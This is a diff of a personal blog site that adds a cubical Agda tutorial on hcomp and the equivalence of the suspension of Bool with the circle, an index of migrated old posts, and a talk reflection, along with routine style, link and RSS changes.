+![](./goal.jpg)
+
+Our goal is to fill this square in.
+Well, what is a square but a missing face in a 3-dimensional cube?
+Let's draw out what this cube looks like, and then have $\mathsf{hcomp}$ give us the top face.
+Before getting started, let's familiarize ourselves with the dimensions we're working with:
+
+* $i$ is the left-right dimension, the one that $p$ and $q$ work over
+* $j$ is the dimension of our final path between $p \equiv q$.
+  Note that this is the first argument, because our top-level ask was $p \equiv q$.
+* Let's introduce a dimension $k$ for doing our $\mathsf{hcomp}$
+
+![](./cubeextend.jpg)
+
+We can map both $p(i)$ and $q(i)$ down to a square that has $x$ on all corners and $\mathsf{refl}_x$ on all sides.
+
+Let's start with the left and right faces.
+The left is represented by the _face lattice_ $(i = \mathsf{i0})$.
+This is a _sub-polyhedra_ of the main cube since it only represents one face.
+The only description of this face is that it contains all the points such that the $i$ dimension is equal to $\mathsf{i0}$.
+Similarly, the right face can be represented by $(i = \mathsf{i1})$.
+
+To fill this face, we must find some value in $A$ that satisfies all the boundary conditions.
+Fortunately, we're given something that can produce values in $A$: the proof $f : \mathsf{isProp}(A)$ that we are given!
+
+$f$ tells us that $x$ and $y$ are the same, so $f(x, x) : x \equiv x$ and $f(x, y) : x \equiv y$.
+This means we can define the left face as $f(x, x)(k)$ and the right face as $f(x, y)(k)$.
+(Remember, $k$ is the direction going from bottom to top)
+
+![](./sides.jpg)
+
+We can write this down as a mapping:
+
+* $(i = \mathsf{i0}) \mapsto f(x, x)(k)$
+* $(i = \mathsf{i1}) \mapsto f(x, y)(k)$
+
+The same logic applies to the front face $(j = \mathsf{i0})$ and back face $(j = \mathsf{i1})$.
+We can use $\mathsf{isProp}$ to generate us some faces, except using $x$ and $p(i)$, or $x$ and $q(i)$ as the two endpoints.
+
+![](./frontback.jpg)
+
+Writing this down as code, we get:
+
+* $(j = \mathsf{i0}) \mapsto f(x, p(i))(k)$
+* $(j = \mathsf{i1}) \mapsto f(x, q(i))(k)$
+
+This time, the $i$ dimension has the $\mathsf{refl}$ edges.
+Since all the edges on the bottom face as $\mathsf{refl}$, we can just use the constant $\mathsf{refl}_{\mathsf{refl}_x}$ as the bottom face.
+In cubical, this is the constant expression `x`.
+
+Putting this all together, we can using $\mathsf{hcomp}$ to complete the top face $(k = \mathsf{i1})$ for us:
+
+```
+    let u = λ k → λ where
+      (i = i0) → f x x k
+      (i = i1) → f x y k
+      (j = i0) → f x (p i) k
+      (j = i1) → f x (q i) k
+    in hcomp u x
+```
+
+Hooray! Agda is happy with this.
+
+Let's move on to a more complicated example.
+
+## Example: $\Sigma \mathbb{2} \simeq S^1$
+
+Suspensions are an example of a higher inductive type.
+It can be shown that spheres can be iteratively defined in terms of suspensions.
+
+![](./numberline.jpg)
+
+Since the $0$-sphere is just two points (solutions to $\| \bm{x} \|_2 = 1$ in 1 dimension), we represent this as $S^0 :\equiv 2$.
+We can show that a suspension over this, $\Sigma 2$, is equivalent to the classic $1$-sphere, the circle $S^1$.
+
+Let's state the lemma:
+
+```
+Σ2≃S¹ : Susp Bool ≃ S¹
+```
+
+Equivalences can be generated from isomorphisms:
+
+```
+Σ2≃S¹ = isoToEquiv (iso f g fg gf) where
+```
+
+In this model, we're going to define $f$ and $g$ by having both the north and south poles be squished into one side.
+The choice of side is arbitrary, so I'll choose $\mathsf{true}$.
+This way, $\mathsf{true}$ is suspended into the $\mathsf{refl}$ path, and $\mathsf{false}$ is suspended into the $\mathsf{loop}$.
+
+Here's a picture of our function $f$:
+
+![](./suspbool.jpg)
+
+The left setup is presented in the traditional suspension layout, with meridians going through $\mathsf{true}$ and $\mathsf{false}$ while the right side "squishes" the north and south poles using $\mathsf{refl}$, while having the other path represent the $\mathsf{loop}$.
+
+On the other side, $g$, we want to map back from $S^1$ into $\Sigma 2$.
+We can map the $\mathsf{loop}$ back into $\mathsf{merid} \; \mathsf{false}$, but the types mismatch, since $\mathsf{loop} : \mathsf{base} \equiv \mathsf{base}$ but $\mathsf{merid} \; \mathsf{false} : \mathsf{north} \equiv \mathsf{south}$.
+But since $\mathsf{merid} \; \mathsf{true}$ is $\mathsf{refl}$, we can just concatenate with its inverse to get the full path:
+
+$$
+\mathsf{merid} \; \mathsf{false} \cdot (\mathsf{merid} \; \mathsf{true})^{-1} : \mathsf{north} \equiv \mathsf{north}
+$$
+
+In Agda, we can write it like this:
+
+<div class="halfSplit">
+
+```
+  f : Susp Bool → S¹
+  f north = base
+  f south = base
+  f (merid true i) = base
+  f (merid false i) = loop i
+```
+
+```
+  g : S¹ → Susp Bool
+  g base = north
+  g (loop i) = (merid false ∙ sym (merid true)) i
+```
+
+</div>
+
+Now, the fun part is to show the extra requirements that are needed to show that these two functions indeed form an isomorphism:
+
+* $f(g(s)) \equiv s$
+* $g(f(b)) \equiv b$
+
+Let's show $f(g(s)) \equiv s$ by induction on $s$, which is of type $S^1$.
+The $\mathsf{base}$ case is easily handled by $\mathsf{refl}$, since $f(g(\mathsf{base})) = f(\mathsf{north}) = \mathsf{base}$ definitionally by the reduction rules we gave above.
+
+```
+  fg : (s : S¹) → f (g s) ≡ s
+  fg base = refl
+```
+
+The loop case is trickier. If we were using book HoTT, here's how we would solve this (this result is given in Lemma 6.5.1 of the HoTT book):
+
+$$
+\begin{align*}
+\mathsf{ap}_f(\mathsf{ap}_g(\mathsf{loop})) &\equiv \mathsf{loop} \\
+\mathsf{ap}_f(\mathsf{merid} \; \mathsf{false} \cdot (\mathsf{merid} \; \mathsf{true})^{-1}) &\equiv \mathsf{loop} \\
+\mathsf{ap}_f(\mathsf{merid} \; \mathsf{false}) \cdot \mathsf{ap}_f (\mathsf{merid} \; \mathsf{true})^{-1} &\equiv \mathsf{loop} \\
+\mathsf{loop} \cdot \mathsf{ap}_f (\mathsf{merid} \; \mathsf{true})^{-1} &\equiv \mathsf{loop} \\
+\mathsf{loop} \cdot \mathsf{refl}^{-1} &\equiv \mathsf{loop} \\
+\mathsf{loop} \cdot \mathsf{refl} &\equiv \mathsf{loop} \\
+\mathsf{loop} &\equiv \mathsf{loop} \\
+\end{align*}
+$$
+
+Between the second and third steps, I used functoriality of the $\mathsf{ap}$ operation (equation _(i)_ of Lemma 2.2.2 in the HoTT book).
+
+How can we construct a cube to solve this? Like in the first example, let's start out by writing down the face we want to end up with:
+
+![](./goal2.jpg)
+
+We're looking for the path in the bottom-to-top $j$ dimension.
+We would like to have $\mathsf{hcomp}$ give us this face.
+This time, let's see the whole cube first and then pick apart how it was constructed.
+
+![](./fg.jpg)
+
+First of all, note that unrolling $f(g(\mathsf{loop} \; i))$ would give us $f((\mathsf{merid} \; \mathsf{false} \cdot (\mathsf{merid} \; \mathsf{true})^{-1}) \; i)$, which is the same as $f(\mathsf{merid} \; \mathsf{false} \; i) \cdot f(\mathsf{merid} \; \mathsf{true} \; (\sim i))$.
+Since this is a composition, it deserves its own face of the cube, with our goal $f(g(\mathsf{loop} \; i))$ being the lid.
+
+We can express this as an $\mathsf{hfill}$ operation, which is similar to $\mathsf{hcomp}$ in that it takes the same face arguments, but produces the contents of the face rather than just the upper lid.
+
+For the rest of the faces, we can just fill in opposite sides until the cube is complete.
+The Agda translation looks like this:
+
+```
+  fg (loop i) j =
+    let
+      u = λ k → λ where
+        (i = i0) → base
+        (i = i1) → f (merid true (~ k))
+        (j = i0) →
+          let u = λ k' → λ where
+            (i = i0) → base
+            (i = i1) → f (merid true (~ k'))
+          in hfill u (inS (f (merid false i))) k
+        (j = i1) → loop i
+    in hcomp u (f (merid false i))
+```
+
+Nothing should be too surprising here, other than the use of a nested $\mathsf{hfill}$ which is needed to describe the face that contains the composition.
+
+Now, to prove $g(f(b)) \equiv b$, where $b : \Sigma 2$. We can do induction on $b$.
+Again, the point constructor cases are relatively simple.
+
+```
+  gf : (b : Susp Bool) → g (f b) ≡ b
+  gf north = refl
+  gf south = merid true
+```
+
+For the meridian case $(b : 2) \rightarrow \mathsf{north} \equiv \mathsf{south}$, we can do $2$-induction on $b$.
+First, for the $\mathsf{true}$ case, let's see the diagram of what we're trying to prove.
+
+![](./goal3.jpg)
+
+After simplifying all the expressions, we find that $g(f(\mathsf{merid} \; \mathsf{true} \; i)) = g(\mathsf{base}) = \mathsf{north}$.
+So really, we're trying to prove that $\mathsf{north} \equiv \mathsf{merid} \; \mathsf{true} \; i$.
+
+![](./goal4.jpg)
+
+But wait, that's odd... there's a $\mathsf{south}$ in the top right corner. What can we do?
+
+Well, we could actually use the _same_ path on the right as on the top.
+We won't even need an $\mathsf{hcomp}$ for this, just a clever interval expression:
+
+```
+  gf (merid true i) j = merid true (i ∧ j)
+```
+
+One last cube for the $g(f(\mathsf{merid} \; \mathsf{false} \; i)) \; j$ case.
+This cube actually looks very similar to the $f(g(s))$ cube, although the points are in the suspension type rather than in $S^1$.
+Once again we have a composition, so we will need an extra $\mathsf{hfill}$ to get us the front face of this cube.
+
+![](./gf.jpg)
+
+This cube cleanly extracts into the following Agda code.
+
+```
+  gf (merid false i) j =
+    let
+      u = λ k → λ where
+        (i = i0) → north
+        (i = i1) → merid true (j ∨ ~ k)
+        (j = i0) →
+          let u = λ k' → λ where
+            (i = i0) → north
+            (i = i1) → merid true (~ k')
+          in hfill u (inS (merid false i)) k
+        (j = i1) → merid false i
+    in hcomp u (merid false i)
+```
+
+These are some of my takeaways from studying cubical type theory and $\mathsf{hcomp}$ these past few weeks.
+One thing I'd have to note is that drawing all these cubes really does make me wish there was some kind of 3D visualizer for these cubes...
+
+Anyway, that's all! See you next post :)
+
+### References
+
+* https://arxiv.org/abs/1611.02108
+* https://agda.readthedocs.io/en/v2.7.0/language/cubical.html
+* https://1lab.dev/1Lab.Path.html#box-filling
+* https://github.com/martinescardo/HoTTEST-Summer-School/blob/main/Agda/Cubical/Lecture8-notes.lagda.md#homogeneous-composition-hcomp

src/content/posts/2024-10-07-old-blog-posts.md

@@ -0,0 +1,38 @@
+---
+title: Old blog posts
+date: 2024-10-07T22:40:16-05:00
+tags: [life, medium-blog]
+---
+
+Just re-discovered an [old blog][1] I had written over at Medium from back around 2017.
+
+[1]: https://medium.com/michaels-blog
+
+Some of the oldest post dates back to 2014.
+This means I've been blogging for almost 10 years in total!
+For completeness' sake I migrated them over to this blog, while still keeping links to the originals.
+
+I'm grateful that Medium was able to keep this around for all this time.
+Even though some of it is quite embarassing to look back at, it's kind of like peering into a time capsule and seeing what I was up to in the past.
+
+I'm also really glad I did a post-mortem of at least one iteration of EasyCTF, since I had stupidly lost all of the actual competition data :frowning_face:
+
+Here are the links to the old posts:
+
+- [`[2017-05-24]` OverTheWire: Narnia](/posts/2017-05-24_overthewire--narnia/)
+- [`[2017-05-01]` UIUCTF 2017 Writeups](/posts/2017-05-01_uiuctf-2017-writeups/)
+- [`[2017-03-26]` VolgaCTF 2017 Writeups](/posts/2017-03-26_volgactf-2017-writeups/)
+- [`[2017-03-24]` EasyCTF 2017 Wrap-up](/posts/2017-03-24_easyctf-2017-wrap-up/)
+- [`[2017-02-16]` So, you can detect whether I use an ad-blocker or not, eh?](/posts/2017-02-16_so--you-can-detect-whether-i-use-an-ad-blocker-or-not--eh/)
+- [`[2017-01-14]` Why I think HTML is a programming language.](/posts/2017-01-14_why-i-think-html-is-a-programming-language/)
+- [`[2017-01-07]` Watch out, returning users!](/posts/2017-01-07_watch-out--returning-users/)
+- [`[2017-01-03]` Wi-Fi Problems when Installing Linux on ASUS machines.](/posts/2017-01-03_wi-fi-problems-when-installing-linux-on-asus-machines/)
+- [`[2016-12-30]` XinIRC development.](/posts/2016-12-30_xinirc-development/)
+- [`[2016-12-01]` Lightning Speed Run.](/posts/2016-12-01_lightning-speed-run/)
+- [`[2016-10-02]` H4CK1T CTF 2016.](/posts/2016-10-02_h4ck1t-ctf-2016/)
+- [`[2016-09-18]` CSAW CTF 2016 Quals.](/posts/2016-09-18_csaw-ctf-2016-quals/)
+- [`[2016-09-07]` So. I started a blog.](/posts/2016-09-07_so--i-started-a-blog/)
+- [`[2015-10-20]` Pwnable.kr: fd (1).](/posts/2015-10-20_pwnable-kr--fd--1/)
+- [`[2015-03-19]` A Much-Needed Apology.](/posts/2015-03-19_a-much-needed-apology/)
+- [`[2014-12-18]` How to accomplish something.](/posts/2014-12-28_how-to-accomplish-something/)
+

src/content/posts/2024-10-19-cubical-talk/index.mdx

@@ -0,0 +1,22 @@
+---
+title: Reflections on my first type theory talk
+date: 2024-10-19T21:47:34.026Z
+tags: [agda, cubical, type-theory, talk]
+---
+
+import slides from "./main.pdf?url";
+
+Yesterday I gave my first talk about type theory at my school's grad student seminar series, about some of the work I had been doing with homotopy type theory and cubical Agda.
+Here is a link to the <a href={slides}>slides</a>.
+
+It was a very rushed talk, and a number of things went wrong during the talk, so here's my post-mortem on it from the day after.
+
+First, unexpected things will happen. I had originally practiced my talk for an hour long session, but projector and Zoom issues reduced it by 15 minutes.
+I panicked and started rushing my talk, which was already losing people.
+
+Second, I didn't really stop to check that people were following and just continued with my material. I'm not sure if the people watching my talk really understood anything.
+
+Third, I should've recorded the talk.
+I just kinda blanked out so much during the talk, it's hard to go back and remember what I said and what I didn't.
+
+It was a good experience, and I hope people at least enjoyed the pizza. :sweat_smile:

src/data/links.ts

@@ -7,22 +7,16 @@ export interface Link {
 
 const links: Link[] = [
   {
-    name: "Matrix",
-    url: "https://matrix.to/#/@michael:chat.mzhang.io",
-    icon: "matrix-org",
-    description: "Come chat with me on Matrix",
-  },
-  {
-    name: "Git",
-    url: "https://git.mzhang.io",
+    name: "projects",
+    url: "https://git.mzhang.io/michael",
     icon: "gitea",
     description: "Check out my public open source projects on Forgejo",
   },
   {
-    name: "GitHub",
-    url: "https://github.com/iptq",
-    icon: "github",
-    description: "See a history of my old projects on GitHub",
+    name: "Matrix",
+    url: "https://matrix.to/#/@michael:chat.mzhang.io",
+    icon: "matrix-org",
+    description: "Come chat with me on Matrix",
   },
   {
     name: "Mastodon",
@@ -42,6 +36,12 @@ const links: Link[] = [
     icon: "linkedin",
     description: "Connect with me on LinkedIn",
   },
+  {
+    name: "GitHub",
+    url: "https://github.com/mzhang28",
+    icon: "github",
+    description: "See a history of my old projects on GitHub",
+  },
 ];
 
 export default links;

src/layouts/BaseLayout.astro

@@ -4,6 +4,7 @@ import LeftNav from "../components/LeftNav.astro";
 import classNames from "classnames";
 import "../styles/global.scss";
 import "katex/dist/katex.min.css";
+import portrait from "../assets/self.png";
 
 interface Props {
   title?: string;
@@ -21,7 +22,9 @@ const hasToc = toc ?? false;
   <head>
     <meta charset="utf-8" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <meta property="og:image" content={portrait.src} />
     <title>{title && `${title} - `} Michael Zhang</title>
+    <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="/rss.xml" />
     <script
       data-goatcounter="https://goatcounter.mzhang.io/count"
       async

src/pages/about.mdx

@@ -11,10 +11,35 @@ Hi there! :wave:
 
 <Intro />
 
-### Research
+## Academic life
 
-Currently, I'm learning about [cubical type theory][cubical]. I'll probably
-write some blog posts as I learn more. My advisor is [Favonia].
+I'm currently doing a thesis project for my master's program, involving the mechanization of [spectral sequences] using [cubical] [Agda].
+See some of my blog posts to follow along with my research!
+
+[spectral sequences]: https://en.wikipedia.org/wiki/Spectral_sequence
+[agda]: https://agda.readthedocs.io/en/latest/overview.html
+[hottbook]: https://homotopytypetheory.org/book/
+
+### Research projects
+
+- [**cubeviz**](https://mzhang.io/cubeviz/). A visualizer for cubical type theory that can assist with constructing `hcomp`s.
+- [**type theory repo**](https://git.mzhang.io/michael/type-theory). The main repository for my Agda code for my research project.
+
+### Conferences and summer schools
+
+History of conferences and academic events I've attended.
+
+- [**ICFP 2024, PLMW workshop**](https://icfp24.sigplan.org/). Milan, Italy.
+- **MURI 2024**. Pittsburgh, PA.
+- [**Unimath 2024**](https://unimath.github.io/minneapolis2024/). Minneapolis, MN.
+- [**OPLSS 2024**](https://www.cs.uoregon.edu/research/summerschool/summer24/). Boston, MA.
+- [**Midwest PL Summit 2023**](https://mwpls2023.engin.umich.edu/). Ann Arbor, MI.
+
+### Undergraduate teaching
+
+In undergrad, I worked briefly as a teaching assistant.
+
+- **CSCI 2041, Advanced Programming Principles** with Prof. Eric van Wyk.
 
 ### University Involvement
 
@@ -36,7 +61,7 @@ Previously, I was also involved with:
 - **[SASE]**.
   I was webmaster and was involved in organizing student group events as well.
 
-### Open-source Projects
+## Open-source Projects
 
 Some of the projects I've been working on in my free time include:
 
@@ -51,10 +76,19 @@ other software that're not predatory towards users. As a part of this effort,
 I'm also self-hosting and rewriting some of the services and software that I use
 regularly.
 
-### Hobbies
+## Hobbies
 
-I love cooking, listening to music, chess, bouldering, and beer.
-If you're in the Minneapolis area, let's chat!
+Outside of computer science, I love cooking, music, and games.
+In particular, I'm a huge fan of rhythm games.
+
+Occasionally, I also like to take some time and immerse myself in some random hobby. Here are some things that I have taken interest in before:
+
+- Chess
+- Lock picking
+- Bouldering
+- Craft beer
+
+If you're in the Minneapolis or Twin Cities area, let's chat!
 
 [2]: https://git.mzhang.io/explore
 [9]: setup

src/pages/drafts.astro

@@ -7,7 +7,7 @@ const currentUrl = Astro.url;
 ---
 
 <BaseLayout>
-  <h2>Blog</h2>
+  <h1>Drafts</h1>
 
   <PostList basePath={join(dirname(currentUrl.pathname), "posts")} drafts="only" />
 </BaseLayout>

src/pages/index.astro

@@ -8,7 +8,7 @@ const currentUrl = Astro.url;
 ---
 
 <BaseLayout>
-  <h2>Blog</h2>
+  <h1>Blog</h1>
 
   <PostList class="home" timeFormat="yyyy-MM-dd" basePath={join(currentUrl.pathname, "posts")} />
 </BaseLayout>

src/pages/posts/[...slug].astro

@@ -20,9 +20,9 @@ type Props = CollectionEntry<"posts">;
 
 const post = Astro.props;
 const { Content, remarkPluginFrontmatter, headings } = await post.render();
-const { title, toc, heroImage: heroImagePath, heroAlt, draft } = post.data;
+const { title, toc, heroImage: heroImagePath, heroAlt } = post.data;
 
-let heroImage;
+let heroImage = undefined;
 if (heroImagePath) {
   heroImage = await getImage({ src: heroImagePath });
 }
@@ -40,8 +40,16 @@ const excerpt = remarkPluginFrontmatter.excerpt?.replaceAll("\n", "");
   <meta slot="head" property="og:description" content={excerpt} />
   <meta slot="head" property="og:type" content="article" />
   <meta slot="head" property="og:locale" content="en_US" />
-  {heroImage && <meta slot="head" property="og:image" content={heroImage.src} />}
+  <!-- {
+    heroImage ? (
+      <>
+        <meta slot="head" property="og:image" content={heroImage.src} />
         {heroAlt && <meta slot="head" property="og:image:alt" content={heroAlt} />}
+      </>
+    ) : (
+      <></>
+    )
+  } -->
 
   <meta slot="head" property="keywords" content={post.data.tags.join(", ")} />
   <meta slot="head" property="description" content={excerpt} />
@@ -55,7 +63,7 @@ const excerpt = remarkPluginFrontmatter.excerpt?.replaceAll("\n", "");
       <span class="tags">
         {
           post.data.draft && (
-            <a href="/drafts" class="tag draft">
+            <a href="/drafts/" class="tag draft">
               <i class="fa fa-warning" aria-hidden="true" />
               <span class="text">draft</span>
             </a>
@@ -84,23 +92,12 @@ const excerpt = remarkPluginFrontmatter.excerpt?.replaceAll("\n", "");
       }
 
       <div class="post-content" id="post-content">
+        <main>
           <Content />
+        </main>
 
         <hr />
 
-        <!-- {
-          !draft && (
-            <script
-              src="https://utteranc.es/client.js"
-              repo="iptq/blog-comments"
-              issue-term="og:title"
-              theme="github-light"
-              crossorigin="anonymous"
-              async
-            />
-          )
-        } -->
-
         {
           (
             <>

src/pages/rss.xml.ts

@@ -1,18 +1,41 @@
 import rss from "@astrojs/rss";
-import { getCollection } from "astro:content";
+import sanitizeHtml from "sanitize-html";
 import { SITE_TITLE, SITE_DESCRIPTION } from "../consts";
 
+const BLACKLIST = ["../content/posts/_index.md"];
+
 export async function GET(context) {
-  const posts = await getCollection("posts");
+  // const posts = Array.from(await getCollection("posts"));
+  const posts = Object.entries(
+    import.meta.glob("../content/posts/**/*.{md,mdx}", {
+      eager: true,
+    }),
+  )
+    .filter(
+      ([file, post]) =>
+        !BLACKLIST.includes(file) && post.frontmatter.draft !== true,
+    )
+    .toSorted(([fileA, a], [fileB, b]) => {
+      return new Date(b.frontmatter.date) - new Date(a.frontmatter.date);
+    })
+    .slice(0, 30)
+    .map(([file, post]) => {
+      console.log("post", { file, post });
+      return {
+        title: post.frontmatter.title ?? "",
+        pubDate: new Date(post.frontmatter.date),
+        link: "/",
+        content: sanitizeHtml(post.compiledContent?.()),
+        // link: `/posts/${post.slug}/`,
+      };
+    });
+
+  console.log("posts", posts);
+
   return rss({
     title: SITE_TITLE,
     description: SITE_DESCRIPTION,
     site: context.site,
-    items: posts.map((post) => ({
-      title: post.data.title,
-      pubDate: post.data.date,
-      //   ...post.data,
-      link: `/blog/${post.slug}/`,
-    })),
+    items: posts,
   });
 }

src/styles/_colors.scss

@@ -5,6 +5,8 @@
 
   :root {
     --background-color: #{$backgroundColor};
+    --sidebar-color: #f8f8f8;
+    --background-dots-color: #{darken($backgroundColor, 5%)};
     --faded-background-color: #{darken($backgroundColor, 10%)};
     --shadow-color: #{darken($backgroundColor, 10%)};
     --heading-color: #{darken(royalblue, 10%)};
@@ -41,13 +43,15 @@
 }
 
 @media (prefers-color-scheme: dark) {
-  $backgroundColor: #202030;
+  $backgroundColor: hsl(230, 20%, 16%);
   $textColor: #cdcdcd;
-  $linkColor: #A8BFD6;
+  $linkColor: hsl(211, 83%, 75%);
   $linkHoverColor: #202749;
 
   :root {
     --background-color: #{$backgroundColor};
+    --sidebar-color: hsl(230, 20%, 20%);
+    --background-dots-color: #{lighten($backgroundColor, 3%)};
     --faded-background-color: #{lighten($backgroundColor, 10%)};
     --shadow-color: #{lighten($backgroundColor, 10%)};
     --heading-color: #{lighten(lightskyblue, 20%)};
@@ -65,7 +69,7 @@
     --note-color: #{$linkColor};
     --note-background-color: var(--link-hover-color);
     --warning-color: rgb(211, 185, 107);
-    --warning-bg-color: rgb(121, 81, 21);
+    --warning-bg-color: rgb(40, 43, 14);
 
     // Syntax Highlighting
     --astro-code-color-text: #e1e4e8;

src/styles/agda.scss

@@ -4,6 +4,8 @@
   --blue: #5175be;
   --module: purple;
   --inductive-constructor: #008b00;
+  --comment: #b22222;
+  --string: var(--comment);
 }
 
 @media (prefers-color-scheme: dark) {
@@ -13,12 +15,13 @@
     --blue: #9999FF;
     --module: hsl(276, 66%, 69%);
     --inductive-constructor: #32bb32;
+    --comment: hsl(0, 78%, 66%);
   }
 }
 
 /* Aspects. */
 .Agda .Comment {
-  color: #B22222
+  color: var(--comment);
 }
 
 .Agda .Background {}
@@ -32,7 +35,7 @@
 }
 
 .Agda .String {
-  color: #B22222
+  color: var(--string);
 }
 
 .Agda .Number {

src/styles/footer.scss

@@ -3,6 +3,7 @@ footer {
 
   margin-top: 24px;
   margin-bottom: 40px;
+  padding-bottom: 30px;
   text-align: center;
 
   font-size: 0.85rem;

src/styles/global.scss

@@ -8,16 +8,15 @@
     "Consolas", monospace;
 }
 
-html {}
-
 body {
-  background: radial-gradient(circle at center top, var(--background-color), black),
-    radial-gradient(circle at center bottom, #200d0d, black),
-    radial-gradient(circle at center left, #0d2020, black),
-    radial-gradient(circle at center right, #0d200d, black);
-  background-blend-mode: difference;
+  background-color: var(--background-color);
   color: var(--text-color);
 
+  // Dotted background :)
+  background-image: radial-gradient(var(--background-dots-color) 1px, transparent 0);
+  background-size: 20px 20px;
+  background-position: -19px -19px;
+
   margin: auto;
   width: 100%;
   height: 1px;
@@ -37,13 +36,7 @@ code::selection {
 
 a {
   color: var(--link-color);
-  font-weight: bold;
-  text-decoration: underline;
-  text-decoration-style: dotted;
-  text-decoration-thickness: 1px;
-  text-underline-offset: 2px;
-
-  // text-decoration: none;
+  text-decoration: none;
   padding: 2px 0;
   border-radius: 2px;
 
@@ -89,16 +82,20 @@ small {
   color: var(--small-text-color);
 }
 
+ul li {
+  margin-bottom: 6px;
+}
+
 // Letter spacing
 
 body {
-  letter-spacing: -0.025rem;
+  letter-spacing: -0.015rem;
 }
 
 code,
 pre>code {
   font-size: 0.95rem;
-  letter-spacing: -0.035rem;
+  letter-spacing: -0.025rem;
 }
 
 // Layout

src/styles/leftNav.scss

@@ -10,6 +10,16 @@
     justify-content: space-evenly;
     flex-direction: column;
 
+    .title {
+      a {
+        color: inherit;
+
+        &:hover {
+          background-color: inherit;
+        }
+      }
+    }
+
     .links {
       text-align: center;
       font-size: 0.9rem;
@@ -37,7 +47,7 @@
   }
 
   .portrait {
-    aspect-ratio: 1;
+    aspect-ratio: 1 / 1;
   }
 
   a.portrait {
@@ -47,12 +57,13 @@
 
   a.portrait img {
     border-radius: 100%;
-    width: 100%;
-    height: 100%;
+    width: auto;
+    height: auto;
   }
 
   .bio {
     font-size: 0.85rem;
+    line-height: 1.4;
 
     ul {
       padding-left: 12px;
@@ -63,6 +74,8 @@
 
 @media screen and (max-width: variables.$breakpoint) {
   .side-nav {
+    background: linear-gradient(to top, var(--sidebar-color) 50%, transparent);
+
     .side-nav-content {
       width: 100%;
       padding: 18px 0;
@@ -73,12 +86,19 @@
         justify-content: space-evenly;
       }
 
+      .titleContainer {
+        container-type: inline-size;
+      }
+
       h1.title {
+        margin-top: 0;
         margin-bottom: 5px;
+
+        font-size: 14cqw;
       }
 
       a.portrait img {
-        max-height: 80px;
+        max-height: 120px;
       }
 
       .bio {
@@ -94,6 +114,8 @@
     width: 300px;
     min-width: 300px;
 
+    background: linear-gradient(to left, var(--sidebar-color) 50%, transparent);
+
     .side-nav-content {
       height: 100vh;
       position: sticky;

src/styles/post.scss

@@ -99,6 +99,9 @@
     p>img {
       margin: auto;
       max-width: 75%;
+      max-height: 280px;
+
+      width: auto;
       height: auto;
 
       border-radius: 8px;
@@ -278,3 +281,18 @@ hr.endline {
     --admonition-bg-color: var(--warning-bg-color);
   }
 }
+
+.halfSplit {
+  display: flex;
+  flex-direction: row;
+  gap: 12px;
+  overflow-y: auto;
+
+  @media screen and (max-width: 960px) {
+    flex-direction: column;
+
+    pre.Agda {
+      margin: 0;
+    }
+  }
+}